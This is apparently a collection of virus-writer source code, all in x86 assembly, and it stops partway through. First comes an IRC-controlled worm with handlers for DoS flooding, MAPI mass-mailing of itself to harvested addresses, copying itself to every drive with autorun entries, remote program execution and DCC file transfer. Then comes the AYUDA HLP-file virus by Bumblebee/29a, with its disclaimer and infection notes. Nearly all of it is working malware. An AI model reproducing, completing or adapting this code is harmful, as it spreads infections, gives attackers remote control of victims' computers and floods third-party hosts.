mov byte ptr [esi-1],0

call gethostbyname ;*
test eax,eax
je err_dos
mov eax,[eax+HOSTENT_IP]
mov eax,[eax]
mov [DOS_sock.sin_addr],eax ;save the IP

mov [dos_sem],eax
xor eax,eax
@pushsz 'XTC'
push eax
push eax
push offset DOS_Thread
dos_thr:push eax
push eax
call CreateThread ;create separate thread
xchg eax,ecx
jecxz err_dos

push ecx
call CloseHandle ;close its handle

ok_dos: @SEH_RemoveFrame
popad
jmp msg_ok ;reply "ok"
err_dos:@SEH_RemoveFrame
popad
jmp msg_err ;reply "failed"

;send infected mail message to specified e-mail address


irc_SPREADTO:
pushad
@endspc
push esi
@endbr
mov byte ptr [esi-1],0
pop esi ;replace CRLF by NULL

call mapi_init ;initialize MAPI32


test eax,eax
jne end_st ;quit if error

mov edi,offset mail_address ;store mail address


@copysz
call mapi_send ;send virus there
call mapi_close ;log off from MAPI32
end_st: popad
jmp irc_manage ;and quit

;logon to MAPI32
mapi_init:
xor eax,eax
push offset MAPIHandle
push eax
push eax
push eax
push eax
push eax
call MAPILogon
ret

;starts with mail spreading


irc_SPREADON:
pushad
@SEH_SetupFrame <jmp e_spr>

mov ebp,offset spread_sem


cmp dword ptr [ebp],0 ;check the semaphore
jne e_spr

call mapi_init
test eax,eax
jne e_spr

mov [ebp],ebp
@pushsz 'XTC'
push eax
push eax
push offset SPREAD_Thread
push eax
push eax
call CreateThread ;create separate thread
xchg eax,ecx
jecxz e_spr

push ecx
call CloseHandle ;close its handle

e_spr: @SEH_RemoveFrame
popad
jmp irc_manage ;and quit

;logs off from MAPI32


mapi_close:
xor eax,eax
push eax
push eax
push eax
push 12345678h
MAPIHandle = dword ptr $-4
call MAPILogoff
ret

;stops with mail spreading


irc_SPREADOFF:
call mapi_close
and [spread_sem],0 ;clear the semaphore
jmp msg_ok

;sets some default pagez of MSIE to http://www.therainforestsite.com


irc_MARK:
pushad
call @m_reg
db 'Default_Page_URL',0 ;item table
db 'Default_Search_URL',0
db 'Search Page',0
db 'Start Page',0
db 'What''s New',0
db 'Local Page',0
@m_reg: pop esi

push 6
pop ecx
m_loop: push ecx
push 32
@pushsz 'http://www.therainforestsite.com' ;destination URL
push 1
push esi
@pushsz 'Software\Microsoft\Internet Explorer\Main'
push 80000002h ;key
call SHSetValueA ;set the value

@endsz
pop ecx
loop m_loop
popad
jmp msg_ok ;and reply to user

;quits from infected computer


irc_LEAVE:
mov edi,offset temppath
push MAX_PATH
push edi
call GetWindowsDirectoryA ;get the windows directory
push edi
add edi,eax
mov eax,'niw\'
stosd
mov eax,'ini.'
stosd
xor al,al
stosb ;create windir\win.ini
;path+filename
push 0
@pushsz 'run'
push offset win_table+3
call WritePrivateProfileStringA ;clear the item there

mov esi,offset regWorm


mov edx,esi
@endsz
sub esi,edx
dec esi
push esi
push edx
push 2
@pushsz 'XTC'
@pushsz 'Software\Microsoft\Windows\CurrentVersion\RunOnce'
push 80000002h ;delete worm on next
call SHSetValueA ;start of windows

push offset wormname2 ;try to delete itself


call DeleteFileA ;(worx under Win95 only)

push offset up_xtc+5


push offset up_path
push 80000002h ;delete the update URL
call SHDeleteValueA ;item in registry

push offset up_xtc+5


push offset run_key
push 80000002h ;delete last item
call SHDeleteValueA ;in registry
jmp irc_REBOOT ;and reboot computer

;sends file via DCC


irc_SENDME:
mov ebp,ecx
pushad
@endspc
push esi
@endspc
mov byte ptr [esi-1],0
push esi
@endbr
mov byte ptr [esi-1],20h
pop ebp
pop esi

xor ebx,ebx
push ebx
push ebx
push OPEN_EXISTING
push ebx
push FILE_SHARE_READ
push GENERIC_READ
push esi
call CreateFileA ;open the file
inc eax
je err_send0
dec eax
mov [sendFile],eax

push ebx
push eax
call GetFileSize ;get its size
mov [sendBytes],eax

push ebx
push SOCK_STREAM
push AF_INET
call socket ;create socket
inc eax
je err_send1
dec eax
mov [sendSocket],eax

call GetTickCount
push 1000
pop ecx
xor edx,edx
div ecx
add edx,4000
mov [dccPort],edx
push edx
call htons
mov [DCC_sock.sin_port],ax ;select random port
and [DCC_sock.sin_addr],0 ;number

push sockSize
push offset DCC_sock
push 12345678h
sendSocket = dword ptr $-4
call bind ;hook the port
test eax,eax
jne err_send2

mov eax,'CCD1'-'1'+1
stosd
mov eax,'NES '
stosd
mov ax,' D'
stosw
add dword ptr [esp.Pushad_ebp],10 ;create DCC command

mov esi,ebp
cpy_sm: lodsb
stosb
inc dword ptr [esp.Pushad_ebp]
cmp al,20h
jne cpy_sm

push offset irc_buffer


push 50
push offset irc_buffer
call gethostname
call gethostbyname
mov eax,[eax+HOSTENT_IP] ;the IP
mov eax,[eax]
push eax
call htonl

mov ebp,edi
call Num2Ascii
mov eax,edi
sub eax,ebp
inc eax
add dword ptr [esp.Pushad_ebp],eax
mov al,20h
stosb

mov eax,12345678h ;the port number


dccPort = dword ptr $-4
mov ebp,edi
call Num2Ascii
mov eax,edi
sub eax,ebp
inc eax
add dword ptr [esp.Pushad_ebp],eax
mov al,20h
stosb

mov ebp,edi
mov eax,12345678h
sendBytes = dword ptr $-4 ;and file size
call Num2Ascii
mov eax,edi
sub eax,ebp
add eax,4
add dword ptr [esp.Pushad_ebp],eax
mov ax,0D01h
stosw
mov al,0Ah
stosb ;terminate the command

mov ecx,[esp.Pushad_ebp]
mov esi,edi
sub esi,ecx
call irc_send ;send it

push 1
push [sendSocket]
call listen ;switch to listen mode
test eax,eax
jne err_send2

push eax
push eax
push [sendSocket]
call accept ;accept incomming bytez

xchg eax,[sendSocket]
push eax
call closesocket ;close incomming socket

mov ebx,offset dcctmp


xor esi,esi
l_dcc_send:
push 0
push ebx
push 1000h
push offset irc_buffer
push [sendFile] ;read some bytez from
call ReadFile ;the file

push 0
push dword ptr [ebx]
push offset irc_buffer
push [sendSocket]
call send ;send them

add esi,[ebx]
cmp esi,[sendBytes]
je ok_send ;check if we are finished
cmp [ebx],eax
je l_dcc_send

err_send2:
push [sendSocket]
call closesocket ;close the socket
err_send1:
push 12345678h
sendFile = dword ptr $-4
call CloseHandle ;close the file
err_send0:
err_dcc0:
popad
jmp msg_err ;and reply "failed"
ok_send:push [sendSocket]
call closesocket ;close the socket
push [sendFile]
call CloseHandle ;file
popad
jmp msg_ok ;reply "ok"

;recieves file via DCC


irc_DCCRECV:
pushad

@endspc
@endspc
push esi
@endspc
mov byte ptr [esi-1],0
pop esi

xor eax,eax
push eax
push eax
push CREATE_ALWAYS
push eax
push eax
push GENERIC_READ or GENERIC_WRITE
push esi
call CreateFileA ;create new file
inc eax
je err_dcc0
dec eax
mov [dccFile],eax

push 0
push SOCK_STREAM
push AF_INET
call socket ;create socket
inc eax
je err_dcc1
dec eax
mov [dccSocket],eax

@endsz
push esi
@endspc
mov byte ptr [esi-1],0
pop esi

call Ascii2Num
push eax
call htonl
mov [DCC_sock.sin_addr],eax ;get IP

inc esi
call Ascii2Num
push eax
call htons
mov [DCC_sock.sin_port],ax ;port

inc esi
call Ascii2Num
xchg eax,ebx

push sockSize
push offset DCC_sock
push [dccSocket]
call connect ;connect to remote machine
inc eax
je err_dcc2

xor esi,esi
dcc_recv_loop:
push 0
push 1000h
push offset irc_buffer
push [dccSocket]
call recv ;get incomming bytez
inc eax
je err_dcc2
dec eax
sub ebx,eax
add esi,eax

push 0
call @tmp
dcctmp dd ?
@tmp: push eax
push offset irc_buffer
push [dccFile]
call WriteFile ;write them to file

push esi
call htonl
mov ecx,offset dcctmp
mov [ecx],eax

push 0
push 4
push ecx
push [dccSocket] ;send number of
call send ;recieved bytez

test ebx,ebx
jne dcc_recv_loop ;are we finished?

call dcc_closesock ;yep, disconnect,


call dcc_closefile ;close the file
popad
jmp msg_ok ;and reply "ok"

err_dcc1:
call dcc_closefile ;close the file
jmp err_dcc0 ;and quit
err_dcc2:
call dcc_closesock ;disconnect
jmp err_dcc1 ;and quit
dcc_closefile:
push 12345678h
dccFile = dword ptr $-4
call CloseHandle ;close the file
ret
dcc_closesock:
push 12345678h
dccSocket = dword ptr $-4
call closesocket ;disconnect
ret

;writes the host name of local machine


irc_MACHINE:
pushad
push 50
push edi
call gethostname ;get host name
test eax,eax
jne err_mach ;quit if error
mov esi,edi
@endsz
dec esi
sub esi,edi
add [esp.Pushad_ecx],esi ;update the size of
add [esp.Pushad_edi],esi ;command
popad
mov ax,0A0Dh
stosw ;terminat the command
inc ecx
inc ecx
jmp end_pwd ;send it
err_dc0:
err_mach:
popad
jmp msg_err ;error

;writes some infos about worm


irc_INFO:
mov esi,offset info_table
push ecx
push info_size
pop ecx
add [esp],ecx
rep movsb
pop ecx
jmp msg_ok

;reboots the computer


irc_REBOOT:
push 0
push 2 or 4
call ExitWindowsEx
push 0
push 0
call ExitWindowsEx
jmp end_worm

;infects all mapped/fixed disks


irc_LAN:pushad
mov esi,offset irc_buffer
push 0
push 7
push esi
push 0
call SHGetSpecialFolderPathA ;get the STARTUP folder
test eax,eax
je err_lan
push esi
@endsz
mov edi,esi
pop esi
dec edi
mov eax,'tni\' ;construct "internat.exe"
stosd ;path+filename
mov eax,'anre'
stosd
mov eax,'xe.t'
stosd
push 'e'
pop eax
stosw ;--- "" ---

push 0
push esi
push offset wormname2
call CopyFileA ;copy the worm

;spread in C: - Z: disk drivez


push 'Z'-'C'
pop ecx
and [lan_res],0
ld_lan: push ecx
mov edi,offset irc_buffer
mov esi,offset win_table
push winNumber
pop ecx
l_lan: push ecx
push edi
mov ebp,esi
mov byte ptr [esi],'Z'
lan_drive = byte ptr $-1
@copysz
dec edi
mov eax,'sat\'
stosd
mov eax,'rgmk'
stosd
mov eax,'exe.' ;as "taskmgr.exe" file
stosd
xor al,al
stosb
pop edi
push 0
push edi
push offset wormname2
call CopyFileA ;copy a worm
dec eax
jne wr_lan

push esi
push edi
mov esi,ebp
mov edi,offset temppath
mov edx,edi
@copysz
dec edi
mov eax,'niw\'
stosd
mov eax,'ini.'
stosd
xor al,al
stosb
pop edi
pop esi

inc [lan_res]
push edx
push edi
@pushsz 'run'
push offset win_table+3
call WritePrivateProfileStringA ;modify win.ini

wr_lan: pop ecx


loop l_lan ;try another directory

pop ecx
dec byte ptr [lan_drive]
dec ecx
test ecx,ecx
jne ld_lan ;try another disk drive

mov ecx,12345678h
lan_res = dword ptr $-4
jecxz err_lan
popad
jmp msg_ok
err_lan:popad
jmp msg_err

;replies if the machine name matches


irc_WHOIS:
pushad
@endspc
push esi
@endbr
mov byte ptr [esi-1],0
call gethostbyname ;get the IP
xchg eax,ecx
jecxz err_who
mov ebx,[ecx+HOSTENT_IP]
mov ebx,[ebx]

mov edi,offset irc_buffer


push 100
push edi
call gethostname ;get host name
test eax,eax
jne err_who

push edi
call gethostbyname ;convert it to IP
xchg eax,ecx
jecxz err_who
mov eax,[ecx+HOSTENT_IP]
mov eax,[eax]
cmp eax,ebx
jne err_who ;reply if matches

popad
jmp msg_ok
err_who:popad
jmp irc_manage

;executes the application


irc_EXEC:
pushad
@endspc
push esi
@endbr
mov byte ptr [esi-1],0
pop esi ;get the command line

xor eax,eax
push offset pInfo
push offset sInfo
push eax
push eax
push eax
push eax
push eax
push eax
push esi
push eax
call CreateProcessA ;execute it!
mov [esp.Pushad_eax],eax

push [pInfo.hThread]
call CloseHandle
push [pInfo.hProcess]
call CloseHandle ;close all handlez
popad
dec eax
je msg_ok
jmp msg_err

;copies file
irc_COPY:
@endspc
push ecx
push edx
push 0
push esi
push esi
l_copy1:lodsb
cmp al,20h
jne l_copy1
mov byte ptr [esi-1],0
mov [esp+4],esi
@endbr
mov byte ptr [esi-1],0
call CopyFileA
jmp md_dir

;moves/renames file
irc_MOVE:
@endspc
push ecx
push edx
push esi
push esi
l_move1:lodsb
cmp al,20h
jne l_move1
mov byte ptr [esi-1],0
mov [esp+4],esi
@endbr
mov byte ptr [esi-1],0
call MoveFileA
jmp md_dir

;removes file
irc_DEL:@endspc
push ecx
push edx

push esi
push FILE_ATTRIBUTE_NORMAL
push esi
@endbr
mov byte ptr [esi-1],0
call SetFileAttributesA ;blank attributez
test eax,eax
pop ecx
je md_dir
push ecx
call DeleteFileA ;and delete the file
jmp md_dir

;removes directory
irc_RD: @endspc
push ecx
push edx
push esi
@endbr
mov byte ptr [esi-1],0
call RemoveDirectoryA
jmp md_dir

;creates directory
irc_MD: @endspc
push ecx
push edx
push 0
push esi
@endbr
mov byte ptr [esi-1],0
call CreateDirectoryA
jmp md_dir

;changes the current directory


irc_SETCDIR:
@endspc
push ecx
push edx
push esi
@endbr
mov byte ptr [esi-1],0
call SetCurrentDirectoryA
md_dir: pop edx
pop ecx
test eax,eax
je msg_err
jmp msg_ok

;retrieves the path to current directory


irc_GETCDIR:
push ecx
push edx
push edi
push MAX_PATH
call GetCurrentDirectoryA
pop edx
pop ecx
add edi,eax
add ecx,eax
jmp msg_err

;lists all filez by specified mask


irc_DIR:@endspc
mov ebp,esi
@endbr
mov byte ptr [esi-1],0
push ecx
push edx
push offset temppath
push ebp
call FindFirstFileA ;find first file
pop edx
pop ecx
inc eax
je msg_err
dec eax
mov [fHandle],eax

wr_dir: pushad
mov esi,offset temppath+WFD_szFileName
@l_dir: lodsb
inc ecx
stosb
test al,al
jne @l_dir
dec edi
mov word ptr [edi],0A0Dh
inc ecx
mov esi,[esp.Pushad_edx]
call irc_send ;send the filname
push offset temppath
push [fHandle]
call FindNextFileA ;find another
dec eax
popad
je wr_dir

pushad
push 12345678h
fHandle = dword ptr $-4
call FindClose ;close search handle
popad
jmp msg_ok
irc_manage EndP

;input:
;ECX - size of data to send
;ESI - ptr to data to send
irc_send Proc
push 0
push ecx
push esi
push [hSocket]
call send
xchg eax,ecx
ret
irc_send EndP

irc_recv_100h:
mov ecx,100h
;ECX - size of data to recieve
;output: ESI - ptr to buffer
irc_recv Proc
push edi
push ecx
mov esi,offset irc_buffer
push esi

l_recv: push 0
push 1
push esi
push [hSocket]
call recv
mov dl,[esi]
inc esi
cmp dl,0Ah
jne l_recv

pop esi
pop ecx
pop edi
ret
irc_recv EndP

;generates random nickname


GenerateNickName Proc
mov edi,offset nickname
call GetTickCount ;get random number
push 9
pop ecx
xor edx,edx
div ecx
inc edx
mov ecx,edx ;0..8 in ECX
name_gen:
push ecx
call GetTickCount ;get random number
push 'Z'-'A'
pop ecx
xor edx,edx
div ecx
xchg eax,edx ;'A'..'Z' in EDX
add al,'A'
stosb
call GetTickCount ;get random number
push 100
pop ecx
xor edx,edx
div ecx
push edx ;0..99
call Sleep ;wait random time
pop ecx
loop name_gen
mov ax,0a0dh
stosw ;CRLF
ret
GenerateNickName EndP

CRC32 Proc
push ecx ;procedure for
push edx ;calculating CRC32s
push ebx ;at run-time
xor ecx,ecx
dec ecx
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jne NextByteCRC
not edx
not ecx
pop ebx
mov eax,edx
rol eax,16
mov ax,cx
pop edx
pop ecx
ret
CRC32 EndP

;input: ESI - ptr to decimal ASCII number


;output: EAX - number
Ascii2Num Proc
push esi
xor ecx,ecx
cnc: lodsb
cmp al,'0'
jl no_ch
cmp al,'9'
ja no_ch
inc ecx
jmp cnc
no_ch: pop esi
xor eax,eax
cdq
g_num: imul edx,10
lodsb
sub eax,'0'
add edx,eax
loop g_num
xchg eax,edx
ret
Ascii2Num EndP

;input: EAX - number


;output: [EDI] - stored ASCII number
Num2Ascii Proc
push esi
push edi
mov edi,offset dec_buff

push 10
pop ecx
g_str: xor edx,edx
div ecx
add edx,'0'
xchg eax,edx
stosb
xchg eax,edx
test eax,eax
jne g_str
pop esi
xchg esi,edi
dec esi
cpy_num:std
lodsb
cld
stosb
cmp al,11h
jne cpy_num
dec edi
pop esi
ret
Num2Ascii EndP

;separate thread for DOS attackz


DOS_Thread Proc
pushad
do_dos: push PCL_NONE
push SOCK_STREAM
push AF_INET
call socket ;create socket
xchg eax,ebx
push PCL_NONE
push SOCK_STREAM
push AF_INET
call socket ;and next socket
xchg eax,ebp

push sockSize
push offset DOS_sock
push ebx
call connect ;connect there
inc eax
je n_dos
push sockSize
push offset DOS_sock
push ebp
call connect ;--- "" ---
inc eax
je n_dos

push 0
push 1000h
push offset irc_buffer
push ebx
call send ;send there some data
push 0
push 1000h
push offset irc_buffer
push ebp
call send ;--- "" ---

n_dos: push ebx


call closesocket ;close socket
push ebp
call closesocket ;--- "" ---

mov ecx,12345678h
dos_sem = dword ptr $-4 ;quit if the semaphore
jecxz end_dos ;is cleared
jmp do_dos
end_dos:popad
SVCHandler:
ret
DOS_Thread EndP

;separate thread for mail spreading


SPREAD_Thread Proc
pushad
mov edi,offset temppath
push 0
push 20h
push edi
push 0
call SHGetSpecialFolderPathA ;get MSIE cache directory
dec eax
jne end_spread

push edi
call SetCurrentDirectoryA ;go to there
dec eax
jne end_spread

;now we have to go to the deepest directory


b_dir: push edi
@pushsz '*.*'
call FindFirstFileA ;find first directory
inc eax
je end_dir
dec eax
xchg eax,esi

an_dir: lea eax,[edi.WFD_szFileName]


test byte ptr [edi],FILE_ATTRIBUTE_DIRECTORY
je n_dir ;quit if not directory
cmp byte ptr [eax],'.' ;quit if it beggins
je n_dir ;with dot

push eax
call SetCurrentDirectoryA ;go to that directory
push esi
call FindClose ;close the search handle
jmp b_dir

n_dir: push edi


push esi
call FindNextFileA ;find next directory
dec eax
je an_dir

push esi
call FindClose ;close the search handle

end_dir:push edi
@pushsz '*.*htm*'
call FindFirstFileA ;find first *.*htm* file
inc eax
je end_spread
dec eax
xchg eax,esi

p_htmlz:mov ecx,0
spread_sem = dword ptr $-4
jecxz end_spread2 ;check the semaphore
call parse_html ;search inside html file
;and find there mail
;address and send itself
push edi ;to there
push esi
call FindNextFileA ;find next file
dec eax
je p_htmlz

end_spread2:
push esi
call FindClose ;close search handle
end_spread:
popad
ret

parse_html:
pushad
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ
push GENERIC_READ
push offset temppath+WFD_szFileName
call CreateFileA ;open the file
inc eax
je end_spread
dec eax
xchg eax,ebx

xor eax,eax
push eax
push eax
push eax
push PAGE_READONLY
push eax
push ebx
call CreateFileMappingA ;create the file mapping
test eax,eax
je ph_close
xchg eax,ebp

xor eax,eax
push eax
push eax
push eax
push FILE_MAP_READ
push ebp
call MapViewOfFile ;map the file
test eax,eax
je ph_close2
xchg eax,esi

push 0
push ebx
call GetFileSize ;get its size
xchg eax,ecx
jecxz ph_close3

ls_scan_mail:
call @mt
db 'mailto:'
@mt: pop edi
l_scan_mail:
pushad
push 7
pop ecx
rep cmpsb ;search for "mailto:"
popad ;string
je scan_mail ;check the mail address
inc esi
loop l_scan_mail ;in a loop

ph_close3:
push esi
call UnmapViewOfFile ;unmap view of file
ph_close2:
push ebp
call CloseHandle ;close file mapping
ph_close:
push ebx
call CloseHandle ;close the file
popad
ret

scan_mail:
xor edx,edx
add esi,7
mov edi,offset mail_address ;where to store the
push edi ;mail address
n_char: lodsb
cmp al,' '
je s_char
cmp al,'"'
je e_char
cmp al,''''
je e_char
cmp al,'@'
jne o_a
inc edx
o_a: stosb
jmp n_char
s_char: inc esi
jmp n_char
e_char: xor al,al
stosb
pop edi
test edx,edx ;if EDX=0, mail is not
je ls_scan_mail ;valid (no '@')

call mapi_send
jmp ls_scan_mail
SPREAD_Thread EndP

;send itself to specified mail address via MAPI32


mapi_send:
xor eax,eax
push eax
push eax
push offset lpMessage
push eax
push [MAPIHandle]
call MAPISendMail
ret

;register service process under WinNT/2k


SVCRegister Proc
call _dt
dd offset up_xtc+5
dd offset service_start
dd 0
dd 0
_dt: call StartServiceCtrlDispatcherA ;make a connection with
dec eax ;SCM
jne e_svc ;error, continue...

push 0
call ExitThread ;quit the thread

service_start:
pushad
@SEH_SetupFrame <jmp end_worm>

push offset SVCHandler


push offset up_xtc+5
call RegisterServiceCtrlHandlerA ;register service
test eax,eax ;handler
je e_svc
push eax

call _ss
ss_: dd 10h or 20h
dd 4
dd 0
dd 0
dd 0
dd 0
dd 0
_ss: push eax
call SetServiceStatus ;set the service status
call CloseServiceHandle ;close service handle
jmp e_svc ;and continue...
SVCRegister EndP

end Start ;end of worm code


;
; AYUDA! coded by Bumblebee/29a
; the generic HLP infector (tm)
;
; AYUDA is the spanish word for help. If you need 'ayuda' infecting hlp
; files this is the source you're looking for ;)
; But keep in mind that AYUDA is not equal to tutorial!
;
; Disclaimer:
;
; . This is the source code of a VIRUS. The author is not
; responsabile of any damage that may occur due to the assembly
; of this file. Pontius Pilate is washing his hands ;)
;
; Features:
;
; . Takes control directly from the hlp file using macros and the
; EnumWindows function. The virus body is stored in the call.
; . Searches for the required APIs using CRCs instead of names.
; . Uses SEH.
; . Infects hlp files adding a EnumWindows call in the system file
; and plazing this new system at the end of file.
; . Uses size padding as infection sign.
;
; Hlp infection brief:
;
; . The hlp infection is so easy. First you must understand the
; internal format of hlp files: is like a pakaged file system.
; Yeah! There are directories, files and so. Once you have this
; part there is another point you must take into account: how to
; give control to the virus. The solution that AYUDA exploits is
; that WinHlp32 let us say the kind of parameters an imported API
; will use. So if you look for any function with callback features
; (all the enum functions), you can change the parameter that uses
; the address of code to be executed by a string. An this string
; will be the virus code. WinHlp32 allocates memory for the string
; (a string is a pointer to a vector of chars) and passes that
; address to the enum function. Once you have the control you must
; execute the code... and that's all? NOPE! Your virus code MUST
; be a string! So you need to change the code to fit in the string
; required by WinHlp32. At this case i've encoded the virus in a
; way that allows to change the code to make WinHlp32 happy and
; later restore it for normal execution. The virus generates some
; code that pushes the entire virus into the stack. This code it's
; ok for WinHlp32 (avoids on its body some characters) and when
; executes restores the whole virus into the stack and the jumps
; there, does its work, fixes the stack and returns ending the
; callback process.
; I think that with this little explanation and the full commented
; source you'll be able to understand this kind of infection.
;
; Excuse my english!
;
; The way of the bee
;
;
; Description from:
; http://www.viruslist.com/eng/viruslist.asp?id=3981&key=000010000800002
; from AVP.
;
; WinHLP.Pluma
;
;
; This is Windows32 HLP files infector, it does function and replicate as
; a Windows Help script embedded in help file structure. See also WinHLP.Demo
; and Win95.SK".
;
; When infected HLP file is opened, the Windows Help system processes virus
; script and executes all functions placed there. By using a trick the virus
; forces Help system to execute a specially prepared data as binary Windows32
; program, these data are included in one of instructions in the virus
; script. These data themselves are the "start-up" routine that builds the
; main infection routine and executes it. The infection routine is a valid
; Windows32 procedure, and it is executed as a Windows32 application.
;
; When infection routine takes control, it scans Windows kernel (KERNEL32.DLL
; image loaded in Windows memory) in usual for Win32 executable files
; parasitic infectors, and gets addresses of necessary Windows functions
; from there. The infection routine then looks for all Windows Help files in
; the current directory, and infects them all.
;
; While infecting the virus modifies internal HLP file structure, adds its
; script to the "SYSTEM" area, converts its code to start-up routine and
; includes it into the script.
;
; The virus does not manifest itself in any way. It contains the text
; strings:
;
; < AYUDA! Coded by Bumblebee/29a >
; Cumpliendo con mi oficio
; piedra con piedra, pluma a pluma,
; pasa el invierno y deja
; sitios abandonados
; habitaciones muertas:
; yo trabajo y trabajo,
; debo substituir tantos olvidos,
; llenar de pan las tinieblas,
; fundar otra vez la esperanza.
;
;

.486p
.model flat
locals

extrn ExitProcess:PROC

HLPHEADER struc
hhMagic dd ?
hhDirectoryStart dd ?
hhNonDirectoryStart dd ?
hhEntireFileSize dd ?
HLPHEADER ends

HLPFILEHEADER struc
fhReservedSpace dd ?
fhUsedSpace dd ?
fhFileFlags db ?
HLPFILEHEADER ends

BTREEHEADER struct
bthMagic dw ?
bthFlags dw ?
bthPageSize dw ?
bthStructure db 10h dup(?)
bthMustBeZero dw ?
bthPageSplits dw ?
bthRootPage dw ?
bthMustBeNegOne dw ?
bthTotalPages dw ?
bthNLeves dw ?
bthTotalEntries dd ?
BTREEHEADER ends

; from BC++ Win32 API on-line Reference


WIN32_FIND_DATA struc
dwFileAttributes dd 0
dwLowDateTime0 dd ? ; creation
dwHigDateTime0 dd ?
dwLowDateTime1 dd ? ; last access
dwHigDateTime1 dd ?
dwLowDateTime2 dd ? ; last write
dwHigDateTime2 dd ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved dd 0,0
cFileName db 260 dup(0)
cAlternateFilename db 14 dup(0)
db 2 dup(0)
WIN32_FIND_DATA ends

K32WIN9X equ 0bff70000h ; Windows 95/98


vSize equ vEnd-vBegin ; size of the baby
PADDING equ 7 ; infection sign

.DATA

dummy db 'WARNING - This is a virus laucher - WARNING'

.CODE

inicio:
push eax ; simulate the callback for
push eax ; 1st generation
push offset goOut
sub esp,((vSize/2)+1)*2 ; why i'm doing this? ;)
jmp virusBegin

goOut:
push 0h
call ExitProcess

vBegin label byte


virusBegin:

pushad ; save all regs

call delta ; get delta offset


delta:
pop ebp
sub ebp,offset delta

lea eax,dword ptr [esp-8h] ; setup SEH


xor edi,edi
xchg eax,dword ptr fs:[edi]
lea edi,exception+ebp
push edi
push eax
mov esi,K32WIN9X ; fixed addr of the K32
cmp word ptr [esi],'ZM' ; K32! are you there?
jne quitSEH

; little anti-debug trick


xor edi,edi
add esi,dword ptr fs:[edi+20h]

; Get APIs stuff with CRC32 instead of names...


mov esi,dword ptr [esi+3ch]
add esi,K32WIN9X
mov esi,dword ptr [esi+78h]
add esi,K32WIN9X
add esi,1ch

lodsd
add eax,K32WIN9X
mov dword ptr [address+ebp],eax
lodsd
add eax,K32WIN9X
mov dword ptr [names+ebp],eax
lodsd
add eax,K32WIN9X
mov dword ptr [ordinals+ebp],eax

sub esi,16
lodsd
mov dword ptr [nexports+ebp],eax

xor edx,edx
mov dword ptr [expcount+ebp],edx
lea eax,FSTAPI+ebp

searchl:
mov esi,dword ptr [names+ebp]
add esi,edx
mov esi,dword ptr [esi]
add esi,K32WIN9X
push eax edx
movzx di,byte ptr [eax+4]
call CRC32
xchg ebx,eax
pop edx eax
cmp ebx,dword ptr [eax]
je fFound
add edx,4
inc dword ptr [expcount+ebp]
push edx
mov edx,dword ptr [expcount+ebp]
cmp dword ptr [nexports+ebp],edx
pop edx
je quitSEH
jmp searchl
fFound:
shr edx,1
add edx,dword ptr [ordinals+ebp]
xor ebx,ebx
mov bx,word ptr [edx]
shl ebx,2
add ebx,dword ptr [address+ebp]
mov ecx,dword ptr [ebx]
add ecx,K32WIN9X
mov dword ptr [eax+5],ecx
add eax,9
xor edx,edx
mov dword ptr [expcount+ebp],edx
lea ecx,ENDAPI+ebp
cmp eax,ecx
jb searchl

; infect all the hlp files in current directory


lea esi,find_data+ebp
push esi
lea esi,hlpMask+ebp
push esi
call dword ptr [_FindFirstFileA+ebp]
inc eax
jz quitSEH
dec eax

mov dword ptr [findHnd+ebp],eax

findNext:
mov eax,dword ptr [find_data.nFileSizeLow+ebp]
mov ecx,PADDING ; test if it's infected
xor edx,edx ; yet
div ecx
or edx,edx ; reminder is zero?
jz skipThisFile

lea esi,find_data.cFileName+ebp
call infect

skipThisFile:
lea esi,find_data+ebp
push esi
push dword ptr [findHnd+ebp]
call dword ptr [_FindNextFileA+ebp] ; Find next file
or eax,eax
jnz findNext

push dword ptr [findHnd+ebp]


call dword ptr [_FindClose+ebp] ; close find handle

quitSEH:
xor esi,esi ; quit SEH
pop dword ptr fs:[esi]
pop eax

popad
add esp,((vSize/2)+1)*2 ; fix stack
xor eax,eax ; return FALSE
ret 8 ; pop the args of the call
; (are two: 2*4=8 bytes)

exception:
xor esi,esi ; we are not under
mov eax,dword ptr fs:[esi] ; win9x... a pitty
mov esp,dword ptr [eax]
jmp quitSEH

;
; does the hlp infection
; IN: esi addr of file name
;
infect:
xor eax,eax
push eax
push 80h
push 3h
push eax
push eax
push 80000000h OR 40000000h
push esi
call dword ptr [_CreateFileA+ebp]
inc eax
jz errorOut
dec eax

mov dword ptr [fHnd+ebp],eax

xor eax,eax
push eax
push eax
push eax
push 4h
push eax
push dword ptr [fHnd+ebp]
call dword ptr [_CreateFileMappingA+ebp]
or eax,eax
jc errorOutClose

mov dword ptr [mfHnd+ebp],eax

xor eax,eax
push eax
push eax
push eax
push 00000004h OR 00000002h
push dword ptr [mfHnd+ebp]
call dword ptr [_MapViewOfFile+ebp]
or eax,eax
jz errorOutCloseMap

; here begins the hlp infection stuff

; save begin of hlp header


mov edi,eax

; check is a valid HLP file


cmp dword ptr [edi.hhMagic],00035f3fh
jne notNiceHlp

; get file size information in the header (not the same than
; 'file in disk' size)
mov ecx,dword ptr [eax.hhEntireFileSize]
mov dword ptr [fileSize+ebp],ecx

; goto directory start


add edi,dword ptr [edi.hhDirectoryStart]
add edi,size HLPFILEHEADER
; check is a valid directory
cmp word ptr [edi],293bh
jne notNiceHlp
; i don't want indexed data, so only one level b-trees
; are nice for me ;)
cmp word ptr [edi.bthNLeves],1
jne notNiceHlp

; scan for |SYSTEM directory.


; search 512 bytes into the b-tree and ignore the internal
; structures of b-tree.
add edi,size BTREEHEADER
mov ecx,200h

searchSystemDir:
cmp dword ptr [edi],'SYS|'
je foundSystemDir
inc edi
loop searchSystemDir
jmp notNiceHlp

foundSystemDir:
; as i only infect non-indexed hlp files, i'm sure the
; data that follows the |SYSTEM zstring is the offset of
; the directory. 1st skip the zstring
add edi,8
; now goto to the directory (offset from hlp header)
; and set the new system directory at the end of file
mov esi,dword ptr [fileSize+ebp]
xchg esi,dword ptr [edi]
mov edi,esi
add edi,eax

; save begin of this file


mov edx,edi
add edi,size HLPFILEHEADER

; check is a system directory


cmp word ptr [edi],036ch
jne notNiceHlp

; check version
mov esi,edi
add esi,0ch
cmp word ptr [edi+2],10h
ja noTitleHere

; if has title, skip it (version <= 16)


